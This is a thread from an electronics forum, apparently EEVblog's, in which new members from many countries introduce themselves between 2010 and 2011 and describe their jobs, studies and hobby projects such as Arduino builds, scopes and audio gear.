Title: Re: New Member, Please introduce yourself
Post by: zarthcode on October 04, 2010, 11:10:40 pm
Hello,

My name is Anthony, an engineer in Tulsa, OK.  I've been monitoring this forum for quite awhile, and enjoy the content!
Title: Re: New Member, Please introduce yourself
Post by: hempel on October 05, 2010, 10:52:49 am
Hi,

I am from Germany and new in the forum. I recently finished my degree in Computer and Communications Engineering (which is computer science mixed with electronics) at the Saarland University. To gain some practical experience my current project is to build a nixie-clock from scratch as you can read in the projects section. It involves programming the MCU, the analog stuff like PSU design, designing the PCB and a nice case as well. 
Title: Re: New Member, Please introduce yourself
Post by: d3javu on October 06, 2010, 03:55:28 am
Hi folks,
   I'm Deva and i am from Malaysia. Nice to meet you all.  ;)
Title: Re: New Member, Please introduce yourself
Post by: hippocampus on October 06, 2010, 07:35:12 am
hi all, I'm an amateur but love electronics, so I come to join with you all to learn  ;D
Title: Re: New Member, Please introduce yourself
Post by: vaneenbergen on October 07, 2010, 09:14:26 am
Hi

i'm Joost van Eenbergen
R&D manager at ELC lighting bv in the netherlands
We develop lighting control equipment for the entertainment industrie.
mostly using DMX512 (RS-485) and ethernet.
we also supplied the new lighting control infrastructure at the sydney opera house.

development tools i use are
Altium (ECad)
Alibre (MCad)
Rowley Crossworks for ARM7 development
Visual Studio and XCode for PC/mac software

www.elclighting.com (http://www.elclighting.com)
Title: Re: New Member, Please introduce yourself
Post by: MojoJojo on October 08, 2010, 11:29:42 pm
Hello

I am a freshly graduated EE student living in Philadelphia. I emerged from my chrysalis, ready to spread my wings and cast off my larval engineer form. I studied electronic design and computer architecture, with a strong interest in embedded systems. Unfortunately, with the way the economy is, I had to adapt to the job market a bit. Presently I am working for a Belgian outfit that makes Proton therapy machines. Not the design work I envisioned, but I do get to dabble in high energy physics which is a whole different ball of cool. I still have the mad scientist lab in the basement though, and I want to stay up with developments in electronics design so I've been hitting the internets. I found the EEV blog as a podcast for my new iphone. I love it, and now have started to watch the episodes at home.

Josh
Title: Re: New Member, Please introduce yourself
Post by: jdtoronto on October 11, 2010, 07:45:51 pm
Name is John, originally from Melbourne but now in Toronto (last ten years) after spending much of my life wandering the world.

Originally trained at RMIT in 1969/70 (DipCommEng) but since then spent nearly 14 years as a professional student.

Have designed everything from high resolution radar to broadcast transmitters, microwave systems, test equipment and down to sensitive analogue measuring instruments. Currently design control systems for up to 150kV and 100kW.

Title: Re: New Member, Please introduce yourself
Post by: M_D_K on October 12, 2010, 05:36:41 pm
Hi, Gavin here.

Never really been good at this whole introduction thing, but I'll give it a shot :)

So, I'm a second year EE student. Before starting EE I was strictly a software guy, coding for PC (Windows, Mac, Linux), consoles (PSP, Dreamcast) and embedded systems (iOS).
I guess I got into EE because I like knowing how electronics work (and I destroyed one too many VCRs as a kid).

So yeah, I'll be lurking. :)
Title: Re: New Member, Please introduce yourself
Post by: sudha99 on October 13, 2010, 09:29:13 am
I work as a quality inspector for a company that makes radiators and air conditioning for vehicles so unfortunately not electronic related really, but I'm gradually tooling up at home and getting into microcontrollers :D



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Title: Re: New Member, Please introduce yourself
Post by: andybrown on October 13, 2010, 12:47:31 pm
Hello, I'm Andy and I'm responsible for the FindChips.com site. I'm here to solicit any feedback that would make our offering more appealing and useful to the electronic components engineer and purchasing professional. Please drop me a line (PM or email - abrown@supplyframe.com) any time.

Title: Re: New Member, Please introduce yourself
Post by: blackfin76 on October 20, 2010, 03:43:10 pm
Hello, I'm Blackfin76. Of course that's not my real name  ;D
I'm an electronics design engineer and life in the Netherlands. Most of my extensive experience is in the field of analog hardware design, power supply design (linear and switch mode) and high speed digital hardware design. I do some embedded software design, but only for testing and debugging, I just don't like software or software doesn't like me  :D
Title: Re: New Member, Please introduce yourself
Post by: dds on October 20, 2010, 03:53:04 pm
Hi,

While listening to Beatblender station on http://somafm.com (http://somafm.com) site, I've decided to write thing or two about myself ;) I'm Dusan from Serbia, forty years old, but live now in Denmark. I have Datamatician (danish. Datamatiker) short (2,5 years) academic education which is supposed to give you knowledge as Software Developer ;)  I liked electronics since I was 8 years old when I saw projects for Citizen Band (Atom 1,2 ) radio in Croatian "Sam Svoj Majstor" magazine. It sparked my imagination thinking about how cool is chatting with other people on 27 Mhz without license from authorities. ;)  I do enjoy much this forum, and like to read advices and tips from much more experienced members here on board.


And thanks goes to Dave for making all this possible! :)

Title: Re: New Member, Please introduce yourself
Post by: pb on October 21, 2010, 03:54:44 am
Hi all,

I get paid by day working in software in the entertainment space.  I've recently been collecting all my various electronics acquisitions over the years in a 'lab' where I can play with things.  I try to play with various things... TTL, old CPUs, FPGAs, microcontrollers, etc...

Hoping to learn from others and blow fewer things up.
Title: Re: New Member, Please introduce yourself
Post by: DJPhil on October 21, 2010, 11:02:45 am
While listening to Beatblender station on http://somafm.com (http://somafm.com) site, I've decided to write thing or two about myself ;)
Just wanted to say, thumbs up for somafm! I've been listening to groovesalad for about four years nearly nonstop. :D
Title: Re: New Member, Please introduce yourself
Post by: tyblu on October 25, 2010, 03:13:41 am
26 year old EE student, looking out at the real world. ;)
Title: Re: New Member, Please introduce yourself
Post by: 8086 on October 31, 2010, 12:11:49 pm
Hi everyone, i'm Simon, a 2nd year EE student in the south of England, UK. Big fan of the blog :D
Title: Re: New Member, Please introduce yourself
Post by: Balaur on November 02, 2010, 01:09:29 pm
Hello,

My name is Dan, I'm a 35 year electronic engineer with a lot of love for my profession.

I have been a lurker from some time on this board and I've thought about introducing myself and start contributing.

Cheers,
Dan
Title: Re: New Member, Please introduce yourself
Post by: metalphreak on November 02, 2010, 06:42:06 pm
Hey,

My name is David (no seriously :P)

I'm currently in my 4th year of an Engineering/Commerce double degree @ UWA Perth. Majors in Electrical/Electronic Eng and Management.

Found Dave's EEV Blog while reading about the Rigol 'scope (which is on its way!). It is another step in building my home lab :)

Latest thing I've learned: It is incredibly cheap, fast, and satisfying to have your own PCB design fabricated and shipped to you door in a week. There's something special about completing your first project that looks respectable and isn't on breadboard :D
Title: Re: New Member, Please introduce yourself
Post by: arcom on November 03, 2010, 08:45:06 am
Hello!

My name is Marko and I live in Croatia. I'm 26 year old EE working as an automation engineer, developing software for PLCs and commissioning industrial machines. I've been watching Dave's EEV Blog for a while now and decided to join the "club" to learn something new and help others :)

Cheers,
Arc
Title: Re: New Member, Please introduce yourself
Post by: a soBer Newt on November 05, 2010, 06:57:48 am
Hello all my name is Nathan Bowers, I am from sunny Southern California, I deeply enjoy the EEVblog and the Amp Hour. I have my own blog at asobernewt.blogspot.com (http://asobernewt.blogspot.com) please stop by if you so do decide to.  Hope to lean some new electronics related material here!

Have a good day,
Nathan Bowers
Title: Re: New Member, Please introduce yourself
Post by: Frenchie on November 10, 2010, 05:03:45 am
Heya,

I'm a Chemical Engineer who has tinkered off and on with hobby electronics for 10 years or so. Will probably lurk but enjoy the blog posts / advice given as it's really useful for someone who's only done a few EE units at university and is otherwise more or less self taught.

F.
Title: Re: New Member, Please introduce yourself
Post by: gobblegobble on November 11, 2010, 01:31:10 am
Hi all.

I'm a student in the area of residential electricity. Stumbled upon the blog while I was looking for some info about multimeters and boy did I found some! ;D
Learning heaps of new stuff about low voltage electricity in general while at it too, and that's not a bad thing in my book either.
Title: Re: New Member, Please introduce yourself
Post by: Chad1 on November 13, 2010, 09:09:59 am
Hello! I'm Chad1, and have been an active viewer of this blog for quite some time now. Finally decided to join the forum after hearing Dave talk about some of the chatter in one of the earlier episodes! I'm a student in the USA, going into my third year majoring in electrical engineering. I've decided to take the microelectronics track. I've used this blog (pretty close to when it first started) as a way of learning more about electronics, and thus giving me more knowledge that one can't learn in a university classroom. I love fiddling around with electronics and instrumentation. The engineering lab is open 24/7, so I can go to the lab whenever I want to play with one of their scopes, bench dmm's, fun/arb gens, etc.
Title: Re: New Member, Please introduce yourself
Post by: tuo on November 13, 2010, 09:58:37 am
I'm 36, eh, 37 years old (yesterday was my birthday) software engineer. Yes, software, so my area of expertise contains OO-programming, Java, JEE, Linux, databases and that kind of stuff. So, "why am I here?" you might ask. For hobby. I'm a audio enthusiast who likes to build his own equipment, like speakers and amplifiers. And of course likes to know how that stuff works while building them.
Title: Re: New Member, Please introduce yourself
Post by: johnmx on November 13, 2010, 01:48:05 pm
Hi, I’m João, 31 years old, born and living in Portugal. My interest in electronics started at 11 years old. However until finished the secondary school I didn’t have too much access to electronic components (living in a small inner town). On that time I had more success dismounting things rather than building  :-[
In the university I had access to internet and electronics stores. During that time I was able to develop some personal projects. Although I’ve a master degree in Electronics and Telecommunications, all of my practical knowledge comes from self-learning.
Now I’m working in the optical communications field but also develop electronic systems to control optical components.
Apart of work I love riding bikes, all types (motocross, enduro, street, custom, etc.) and outdoor sports (snowboard, skate, in-line skate, running, off-road cycling, etc.).
Title: Re: New Member, Please introduce yourself
Post by: imants on November 13, 2010, 09:56:25 pm
Hi!
Some time ago I subscribed to EEVblog's youtube channel which I found via makeblog. Today on youtube I saw a link to the contest, so I found that there is a forum too on EEVblog  :o
I'm automotive engineering student with interest in electronics(I even think about getting education in EE after I graduate, so I could turn my ideas into reality).
Currently I'm taking my first steps with Arduino.
Title: Re: New Member, Please introduce yourself
Post by: Uncle Vernon on November 14, 2010, 01:02:03 am
Welcome from a long term nerd residing in Sydney (and hoping soon not to). Scratching a living with Building Automation, GSM telemetry and PLC systems, dabbling with micros.

I'm so old, I can remember a time when DSE actually sold electronics and manufacturing within Australia wasn't considered an expensive novelty.
Title: Re: New Member, Please introduce yourself
Post by: DARKHORSE on November 14, 2010, 05:26:48 am
Hi EEVblog My Name is Dylan Smith, I'm new to this game and I am currently studying Electrical engineering at Camosun Collage, and I have used Dave's fantastic reviews to purchase several pieces of equipment.
Title: Re: New Member, Please introduce yourself
Post by: Nerobro on November 15, 2010, 09:16:54 pm
Well, I'm Nerobro.  .... It;'s a fairly legitamate claim, as I've been nerobro on the internet since 94 or so.  ;-)  I'm from chicago, IL. In the USA.  (I'm used to very US-centric websites... given dave is an aussie, I should specify, eh?) 

I've very much been enjoying eevblog, and the amp hour.   I figure it's time to say hi to the rest of the fans.

I am more of a ohms law kinda guy, versus EE.  But that seems to get me far enough.  I have dabbled a little in PIC, and while I haven't hooked any up, I've got everything ready to give AVR a swing. I've also played a bit with arduino. 

I learned my big lessons running electric motors with stacks of batteries in my bedroom late at night.  That led to lessons with r/c cars and planes.   80amps at 7.2v is still some serious power!  And eventually, with help of a friend, retrofitting and improving the firing mechanism of a paintball gun. 

My latest endeavors are building a CNC mill, from scratch.  And I'm making an attempt at a good electronic shifting mechanism for bicycles. 
Title: Re: New Member, Please introduce yourself
Post by: SolidFloyd on November 19, 2010, 04:54:36 pm
Hi, I've been following the blog fore som while, and desided to join the forum  ;D

I'm 26 years old, from Norway, been working as an machinist and CAD/ CAM supervisor for 7 years, 2 years ago I quit my sweet job to get back to school. I have an Technician Degree in mechanical engineering from the local Technical Institut, and these days I'm doing my last year on an Bachelor degree in mechatronics at University of Agder, Norway.

I love taking things apart  ;D , I also love putting them back together again..
I've been doing some small Arduino projects, and I always loved electronics so I desided to get more in to it. I just got my first scope, bought an Rigol ds1052e, not that I need it, but it shure is fun ;D I will see up on my self as an newbie in this field, I know my basic electronics, but I need to learn more... ;D

I'm also into R\C helis, been flying since 2005, but in the whinter time it is way too cold up here in Norway, so don't get much fly time these days...

cheers!
Title: Re: New Member, Please introduce yourself
Post by: Gall on November 19, 2010, 08:46:20 pm
I'm 30 years old, from Russia. I'm software engineer in Yandex (www.yandex.ru (http://www.yandex.ru)), M.S. in physics. My hobbies include holography and lasers, electronics, making wooden cases for my projects and jodo (martial art, not to be confused with judo).
Title: Re: New Member, Please introduce yourself
Post by: senso on November 25, 2010, 03:19:17 am
Hello to everyone, im from Portugal and I'm a student, actually taking a Master in Electronics and Telecommunications engineering.
I'm addicted to robotics and electronics, and I'm actually a member of the Robotic Soccer team of my university.
I love to play with micro-controllers, actually I have only used AVR's, but want to spread my knowledge to ARM's and PIC's 30/33 and 32.
As a side kick I love to tune two stroke engines and to get the best out of them.
Title: Re: New Member, Please introduce yourself
Post by: Adama on November 25, 2010, 08:46:10 am
Hi to everybody,
Lucky to join this creative forum and community.
I am located in the very southern parts of Germany.
Specialized in electric motor design and manufacturing. Focus is on DC-Motors (brushed and brushless), as well as magnetic and hysteresis clutches and brakes.

Kind regards,
Cheers,

Adama  ;)
Title: Re: New Member, Please introduce yourself
Post by: abraxalito on November 26, 2010, 02:14:28 am
Hi - I'm Richard, I just joined up yesterday as I'm a Tekway DST1102B owner and loved the thread about upgrading it so much I wanted to see all the pictures!

I'm a British guy living in China since 2005 - retired as an engineer but still continuing the hobby I started when I was around 10 years old. Main interest is
digital audio, amps and speakers at the moment - reverse engineering commercial products to learn and experiment. I've been a fan of Dave's YouTube blog for some time.
Title: Re: New Member, Please introduce yourself
Post by: wardenclyffe on November 26, 2010, 02:50:25 pm
Hey, my name is Chris and I am a recent graduate in electrical engineering. I studied at Virginia Tech and graduated with an undergraduate concentration in power electronics from our Center for Power Electronics Systems (CPES). I am a big fan of hobby electronics and test equipment. Most of my home projects focus on PIC controllers or renewable energy systems but every now and then I might throw in a buck-boost LED driver for fun.
Title: Re: New Member, Please introduce yourself
Post by: williefleete on November 28, 2010, 09:28:43 am
hi guys, my name is william. aka williefleete on youtube and twitter.
i am located in christchurch new zealand, a regular on new zealand's electronics forum Brightsparks, i know quite a bit about most electronics and i am very good at PICAXE BASIC, i have done some quite interesting projects using single (or even multiple) 08M's which is a "rebadged" 12f683 type pic, most of the stuff i have done is based on the little buggers and in the picaxe programmer has 256 bytes user program/eeprom space

my youtube channel is https://www.youtube.com/user/williefleete (https://www.youtube.com/user/williefleete)
twitter http://twitter.com/#!/williefleete (http://twitter.com/#!/williefleete)
my main url www.resistorhelper.org (http://www.resistorhelper.org) (not really flash, havnt updated pages for a while i just use it for an image server for forums like this, easier than fotophucket and a server for my site name program "resistor helper" which can help with the resistor colour codes)
Title: Re: New Member, Please introduce yourself
Post by: Boloop on November 28, 2010, 04:50:45 pm
I'll try and join the list of these replies. I don't think anyone reads these. But I guess it will be a little odd landmark where people can find out a little more about me if they look through all your posts.

I have read a couple of posts above. Seems to be mixed ages. But all generally male engineers. And it's nothing new out of being in any engineering firm.

I am a student half way through my studies doing Computer and Electronic Engineering. Better at maths than most computer scientists, and better at software than most of the Electronic Engineers. But it doesn't end there. I'm mostly a passive observer of the electronic and a bit of computer hacker community.

Asides from electronics, I am a budding Amateur photographer. I mostly do it as a hobby, not really planning to do anything professional about it. I just don't think I am that good enough and it's too competitive for my tastes. I'll stick to what I know best, and that's programming in Verilog and C++. And shit load of other languages.
Title: Re: New Member, Please introduce yourself
Post by: baljemmett on November 28, 2010, 05:09:26 pm
I'll try and join the list of these replies. I don't think anyone reads these.

Ah, don't be so sure!  I can't be the only one who tries to read everything, surely; and it's always nice to try and get some idea about people's background...
Title: Re: New Member, Please introduce yourself
Post by: Tasso on November 29, 2010, 06:47:53 pm
Hi all,

I'm a senior design engineer, working on instrumentation and industrial electronics in Bologna, Italy.

Ciao,

Tasso
Title: Re: New Member, Please introduce yourself
Post by: Slobodan on December 01, 2010, 08:39:24 am
I forgot to introduce myself. I am an electronics student from Belgrade, Serbia.
Title: Re: New Member, Please introduce yourself
Post by: Crytone on December 02, 2010, 02:05:16 am
Thought I should chime in here to introduce myself.

I'm currently a 3rd Year EE student in Canada. I've worked in the Telecom sector for several years as a tech manager, building/repairing/testing/designing amplification units, modulators, filters, and custom PCBs before deciding to go back to school. Hoping to increase my knowledge and maybe share some of what I know with others.

-Crytone
Title: Re: New Member, Please introduce yourself
Post by: aldoaxel on December 03, 2010, 02:26:14 am
Hi, my name is Aldo, I'm 22 years old and I'm from Mexico. I've just gradauted as an Electronics Engineer this semester, so I really don't know what to do right now. I'm a little confused, because I'm not really sure if I want to get a job or maybe keep studiyng.
Title: Re: New Member, Please introduce yourself
Post by: desowin on December 03, 2010, 06:33:33 pm
I'm 3rd year Computer Science student at The Silesian University of Technology.
Title: Re: New Member, Please introduce yourself
Post by: quanttrom on December 07, 2010, 04:49:55 am
hi,

I was born in Bulgaria but I spend almost half of my life in Canada, almost done my EE Bachelor and I am current considering Masters.
Title: Re: New Member, Please introduce yourself
Post by: Twellmann on December 07, 2010, 11:14:10 pm
Hello all

I'm studying medical engineering at DTU, Copenhagen

Regards Daniel Twellmann
Title: Re: New Member, Please introduce yourself
Post by: paul30003 on December 08, 2010, 10:06:11 pm
Hi!

I'm Paul.

I don't work in any type of electronics, nor have I studied any area of electronics, I am 100% self educated from books and Internet.  I work as an engineer in the aerospace sector specialising in fuel system components.  I'm into lasers at the moment and my current project was my first experience of micro controllers.

I used Atmel's atmega328p with the arduino boot loader, this was ideal for the project, as several of the i/o pins where setup for PWM with a simple analogWrite command to control the speed of two motors.

Here is a link to the home of my project.

http://www.fxlasers.co.uk/ (http://www.fxlasers.co.uk/)

Here is a link to the part finished project in action. 

Laser Spirograph Projector (https://www.youtube.com/watch?v=yTqV9VBMmps#)

The project has come a long way since I took these photos, with an etched PCB, much improved Arduino sketch (fully commented) better optics.

I intend to fully publish photo's design schematics and the arduino sketch on the relevant part of this forum.

Thanks for reading, and I look forward to using this forum.



Title: Re: New Member, Please introduce yourself
Post by: AnnabelleR on December 10, 2010, 11:42:21 am
Hello everyone,
My name is Muhammad Ali and i am a newbie here.I am 24 years old and doing masters in business administration and my major is Marketing.My interests are watching movies,online gaming,music,hanging out with friends and general discussions on different forums as you all know that forums are the best option for interacting and getting new and value able information.So i am here to get some information for myself...:)
Title: Re: New Member, Please introduce yourself
Post by: wenn32 on December 10, 2010, 06:14:24 pm
hello guys i am electronics newbie and i am glad to meet all the electronics gurus here
Title: Re: New Member, Please introduce yourself
Post by: Jendem on December 10, 2010, 10:00:03 pm
Hi.
I'm from Molde in Norway. I love electronics  :)
I am student at Telemark University College,  Computer Science and Industrial Automation.
Title: Re: New Member, Please introduce yourself
Post by: ShaunLeeClarke on December 14, 2010, 12:14:41 pm
What a long thread!

Well to add to it, I live in Melbourne, Australia and work as an IT/AV tech.

I've had an interest in electronics since a young age (I'm 24 now), but I'm certainly better at IT and AV!

I recently purchased an Arduino Uno and have started playing with electronics again.
Title: Re: New Member, Please introduce yourself
Post by: moonspeedy on December 16, 2010, 03:13:52 pm
Name's Aaron - love the site.  It's an inspiration to anyone interested in our world.  I'm into electronics design and art.
Title: Re: New Member, Please introduce yourself
Post by: guitar309 on December 17, 2010, 03:02:56 am
I'm Chris, I live in central Illinois and work as a telecommunications technician in a local union in my area... I work with a lot of low voltage items, (fire alarm,security,data cabling...)  I also LOVE electronics... I have been working on some guitar amp repair and a few other guitar related items...
Title: Re: New Member, Please introduce yourself
Post by: lgrfbs on December 18, 2010, 03:39:40 pm
Hello all!
I are from Sweden and have worked on electronics for modelrailroads systems from I was 12 years old.
My work is/was CNC operator, have writhed some program/script in Turbo Pascal, mikroPascal, Delphi, PHP, Perl, HTML, Qbasic for my house needs only.
homepages I really like is:
www.youtub.com (http://www.youtub.com) - EEVblog :)
www.tyda.se (http://www.tyda.se) - Swe/Eng synonym word
www.elektronikforumet.com (http://www.elektronikforumet.com) Swedish Electronic forum

Program I like to use:
Paint.Net - Paint program
WinBoard - PCB
OpenOffice.org 3.2
Alibre Design - Mechanic CAD
Delphi 3 Pro - Make windows program
Raily 4 - Modelrailroad cad
NetDrive - Connect a FTP as a windows HDD.
mikroPascal PRO for PIC - make program for PIC
TrackMania Nations ESWC - Raceing game
TrackMania Nations Forever - Raceing game

Freeware or full licensed program is the way to go.
Title: Re: New Member, Please introduce yourself
Post by: ml-eng on December 18, 2010, 04:45:31 pm
Hi, this is Michael from Germany. I´m a engineer in soft- and hardware design (freelancer). I´m in professional engineering for 13years now. I do electronics since I was 10, thats about 30years ago.  So... Hello World.... ;D
Title: Re: New Member, Please introduce yourself
Post by: stan001 on December 19, 2010, 10:13:35 am
Hi, I am Stanley from Malaysia... I'm in the IT/Networking industry and recently discovered Arduino and electronic. I always wanted to learn about electronics since my teenage years but after I started playing with PCs and programming, this little passion of mine was put aside until now..August 2010.

Reading a lot of books about electronics, components, opamps, regulators, RC circuits and a lot more, most of the time , I probably had to read it a few time to understand what it means...

With the popularity of Arduino and Make magazine, I think electronic hobbyist is making a come back ...

Would like to learn more from the experienced electronic gurus here...

Found EEVblog when I was looking for a digital multimeter... got myself a Sanwa CD770 DMM after my mini analog multimeter movement coil stop working...

Stanley
 
Title: Re: New Member, Please introduce yourself
Post by: Mechatrommer on December 19, 2010, 04:09:06 pm
hi stanley, good evening. ;D
Title: Re: New Member, Please introduce yourself
Post by: stan001 on December 19, 2010, 04:31:29 pm
Hey Shafri,

How are you ?

Glad to meet a fellow Malaysian on this forum....

Stanley
Title: Re: New Member, Please introduce yourself
Post by: MegaWatt on December 19, 2010, 07:56:31 pm
Hello, I am MegaWatt
I study electrical engineering in Belgium!
Finally a forum of interest to me!
Title: Re: New Member, Please introduce yourself
Post by: Seán on December 19, 2010, 09:44:28 pm
Hello,

My name is Seán.

I am 31, and a final year electronics student in Ireland.

Nice to meet you all.

Seán
Title: Re: New Member, Please introduce yourself
Post by: Mechatrommer on December 20, 2010, 02:44:19 am
Hey Shafri,
How are you ?
Glad to meet a fellow Malaysian on this forum....
Stanley
i'm ok. will be glad if you could locate ur'self (and other newcomers are welcomed too) in My Google Earth (https://www.eevblog.com/forum/index.php?topic=1103.0). Cheers ;)
Title: Re: New Member, Please introduce yourself
Post by: Neb on December 22, 2010, 01:58:16 am
Hello,

I'm a computer engineer, working as a junior hardware engineer.

I'm a hobbyist in electronics and make stuff for the heck of it because it interests me.  My on-going projects are a digital audio DSP and spdif mixer, a battery powered hygrometer, a loudspeaker amplifier, and the list goes on  :D.

Based on the eevblog, i picked up a Rigol scope about a year ago and, looking back, there is no way i could do my projects without it.  I figure it's about time i log on and check out what's going on here in the forums.

Edit: forgot to add - Hello from Canada!
Title: Re: New Member, Please introduce yourself
Post by: jedreg on December 28, 2010, 04:22:57 pm
Hello everybody,
my name is andy - locally called 'jedrek' which stands for 'andy' (using suffix 'g' instead of 'k' to avoid taken nicks on forums); I live in Poland/EU working as software consultant traveling through central and eastern europe. My EE dusty/forgotten skills based on secondary edutation were not used for many years but recently I re-started this activity as hobby. I found this excellent forum as goldmine looking for detailed info on Rigol DSO which I am going to buy.

cheers,
-andy.

Title: Re: New Member, Please introduce yourself
Post by: kaos116 on December 30, 2010, 12:30:35 am
Hello all - My name is Todd. I'm from Massachusetts in the United States. I work as an aircraft technician. I started playing around with electronics about 25 years ago. Today my main interest is with microcontrollers and 8 bit micro computers.

I found the forum through Youtube. Great work with great enthusiasm.

Todd
Title: Re: New Member, Please introduce yourself
Post by: rutri on December 30, 2010, 03:10:09 pm
Hello,

    My name is Richard, I am a Computer Engineering Technologist and I design the control systems for locomotives. I am from Saskatchewan Canada, and have been watching this blog for over a year now.

regards,

Richard
Title: Re: New Member, Please introduce yourself
Post by: Mindstorm88 on December 31, 2010, 05:04:06 pm
Hi Guys,
          I'm Bruno from Quebec, Canada , I'm an electrical expert in IREQ (electrical research institute), i do a lot of microcontroller stuff and as a hobby a specialist in electronic pinball repair !!!!
Title: Re: New Member, Please introduce yourself
Post by: vl400 on January 01, 2011, 02:53:24 am
Hi everyone, I recetly purchased a Rigol scope and found this forum. Got lots of useful info from it so hope I can contribute some. I design hardware and write software for modifying vehicle engine management systems.
Title: Re: New Member, Please introduce yourself
Post by: jtv4k on January 03, 2011, 02:03:18 am
Hey all,

I'm Justin from California (Orange County area). Graduated in Computer Engineering and working for a major hardware manufacturer.
Glad to be here!
Title: Re: New Member, Please introduce yourself
Post by: mitpatterson on January 03, 2011, 03:38:35 am
Hey, I've been watching Dave for a few months now, i'm not a "EE" just a hobbyist. Some of you may know me from the adafruit forums and their Ask an Engineer chat. I'm currently a Student majoring in Network Administration and Internet Security. I live in Ohio(USA) with my parents(want to get out of here though, lol). I think thats about everything you guys need to know, if you want to know anything else ask, and I'll either tell you the answer, or tell yah its none of your business.
Title: Re: New Member, Please introduce yourself
Post by: phil4107 on January 03, 2011, 10:56:48 am
Hi everyone. I'm a programmer from England that's worked on e-commerce websites, EPOS systems and mobile devices. Developed an interest in electronics and am still learning, but not managed to blow anything up yet!  :)
Title: Re: New Member, Please introduce yourself
Post by: glossywhite on January 04, 2011, 09:11:54 pm
I'm Matt, and I am an unemployed geek from the UK. I have found my passion for electronics being re-kindled, all thanks to Dave's incredible YouTube videos; never have I seen such a likeable and enthusiastic person. His videos are truly addictive, and I want to thank him (again) for everything he does, including this amazing forum, which has also given me the opportunity to buy a cheap and much needed analogue scope.

Thanks - this is a GREAT place, started by a great guy!  :D
Title: Re: New Member, Please introduce yourself
Post by: blocky on January 04, 2011, 09:34:08 pm
Hi there,
I am Sagi from Israel,
i am mainly a QA/Programmer.
lately i started up on micro-controllers (AVRs) and electronics in general and i absolutely love it.
This community looks preety awesome so i thought i shouldn't miss it (i also been watching dave's blogs and he just rocks)

Title: Re: New Member, Please introduce yourself
Post by: GvendurE on January 07, 2011, 05:32:42 pm
Hi my name is Guðmundur Einarsson. But you can call me Gummi.
I am an Icelander curently living in the UK but hoping to return to the homeland in not to distant future.
I studied electronics but not a degree, I don’t know what its called in English, Electronics maybe…..
I have bin working in the industry for 8-9 years mostly doing AV installations.
For the last two years I have bin working as an AV maintenance engineer at The Science Museum in London witch is one of the coolest places in the world.

I love tinkering and building stuff as a hobby. I fixe tube amps for my musician friends and love building small circuits for solving stuff at work (555 is king). 
I am also getting into micro controllers a little bit.

All the best.

Gummi. ;D
Title: Re: New Member, Please introduce yourself
Post by: ajcrm125 on January 11, 2011, 02:44:32 pm
My name's Adam Courchesne and I was featured on Amp Hour #23 with my WorkBench of the Week Video:
Amp Hour: Big Bench Build (https://www.youtube.com/watch?v=EDzBi5mTT4w#)

Before you ask...
ajcrm125 = Adam J Courchesne + Suzuki RM125
(Used to race motocross in the old days)

These days I work full time as a Digital ASIC Developer and spend most of my free time collecting, restoring, and repairing classic arcade games:
http://www.onecircuit.com (http://www.onecircuit.com)

Looking forward to some good geekery conversation. :D
Title: Re: New Member, Please introduce yourself
Post by: silicon_cockroach on January 13, 2011, 02:53:29 am
Hi guys :) I am new here,this is my first post ever :) I'm from Serbia,i am 27 years old.My name is Goran and I like electronics,i am not a professional i am merely a technician in electronics repair shop.I like to design new stuff,and do random stuff involving electronics.I love to play with SolidWorks , cnc machines and of course MPLAB  :-) .....  So this is something about me ... i hope that this is enough. for now :)   P.S.  I am still learning English so please don't go harsh on me if i spell something wrong :-) 
Title: Re: New Member, Please introduce yourself
Post by: Wim_L on January 15, 2011, 07:47:46 pm
Hi folks, I'm Wim Libaers, 28 years old, and from Flanders. Studied chemistry, currently unemployed and ending a PhD in chemistry which involved some chemistry, lots of optics and quite a bit of electronics and programming too (but mostly on commercial measurement equipment). As a hobby, I started to learn more about the basics of electronics to see how it all fits together.
Title: Re: New Member, Please introduce yourself
Post by: Frangible on January 16, 2011, 06:38:22 am
I'm John, I've been building stuff with microprocessors since an 8088 with an 8087 coprocessor was still considered hot stuff.  I've even sent a bunch of them into space.  I think Dave's rants are the best in the business!
Title: Re: New Member, Please introduce yourself
Post by: lowimpedance on January 17, 2011, 12:22:36 am
Hello all
  My name is John, have been in the Electronics industry since leaving High School in 1981 (Jeez is it that long!).
Racal Electronics gave me my break and like them the rest is history.
 When I was a lad I loved taking things apart to see what was inside and .... nothing has changed. As a hobby I like to
collect and get working any old test gear I can scrounge, (love to spend a week at APEX!!!).
Also believe you can never have enough multimeters.

PS and yes I found Dave’s excellent blog while researching the Rigol scope.
Title: Re: New Member, Please introduce yourself
Post by: johnwa on January 18, 2011, 09:36:11 am
Greetings all, another John here.

I am an electrical engineer from Victoria, Australia. I have lurking here for a while, thought I better say hello!

My current project is an RS-485 - based home automation network. I might post some details once i get something up and running...
Title: Re: New Member, Please introduce yourself
Post by: Geek1EE on January 19, 2011, 08:06:24 pm
Hey, Kyle here! Been lurking around for a couple of weeks and thought I had better say hello first off. I graduate in December with my EE degree and am currently working on a few at home projects! Oh and I'm from Texas baby!
Title: Re: New Member, Please introduce yourself
Post by: ally on January 21, 2011, 01:08:01 pm
Hey guys,

Nice to meet you all. I graduated in EE in Scotland, but have spent most my working life editing electronics magazines. I now work with Farnell/element14. My primary role is editing the comapny's Technology First journal, which you may have seen and working on our community site.

I've not practised electronics for a while, but I've got myself some PIC32 boards and a book and I'm going to try get back into it and hopefully keep you updated, or pester you with questions!

Ally

Title: Re: New Member, Please introduce yourself
Post by: pjclarke on January 22, 2011, 01:39:04 pm
Hi All,

My name is Paul and I live in the UK and work for a fan manufacture designing speed / temperature / pressure controllers blah, blah.

Been doing electronics for 30+ years, think of myself as a embedded hardware engineer but do lots of code (asm and C).
Title: Re: New Member, Please introduce yourself
Post by: Vyper on January 22, 2011, 06:54:10 pm
Hi all..

Danny from the u s a
AAs Elect. engineering tech.
Electronics Tech for u s government
Title: Re: New Member, Please introduce yourself
Post by: tweek on January 23, 2011, 02:14:03 am
Hi all, Phil here.  Long time lurker on the forum and watcher of the blog.  I'm a 33yr old sysadmin and software guy (depending on the day) from the Research Triangle area of North Carolina, USA.  I have tinkered with electronics on and off since I was a kid.  My university education is in Avionics but I've enjoyed slogging my way through the IT cesspool...errr...field, for the past 14 years or so leaving electronics to be that thing I can do when I'm done with work for the day.
Title: Re: New Member, Please introduce yourself
Post by: ganzziani on January 26, 2011, 07:58:45 pm
Hi, I'm Gabriel Anzziani, I'm an electronic engineer graduated from University Simon Bolivar. I make LCD oscilloscopes and I am looking to share knowledge and receive suggestions on this forum.
Title: Re: New Member, Please introduce yourself
Post by: RaySolomon on January 27, 2011, 07:42:08 am
My name is Ray. I'm from Mesa, Arizona.

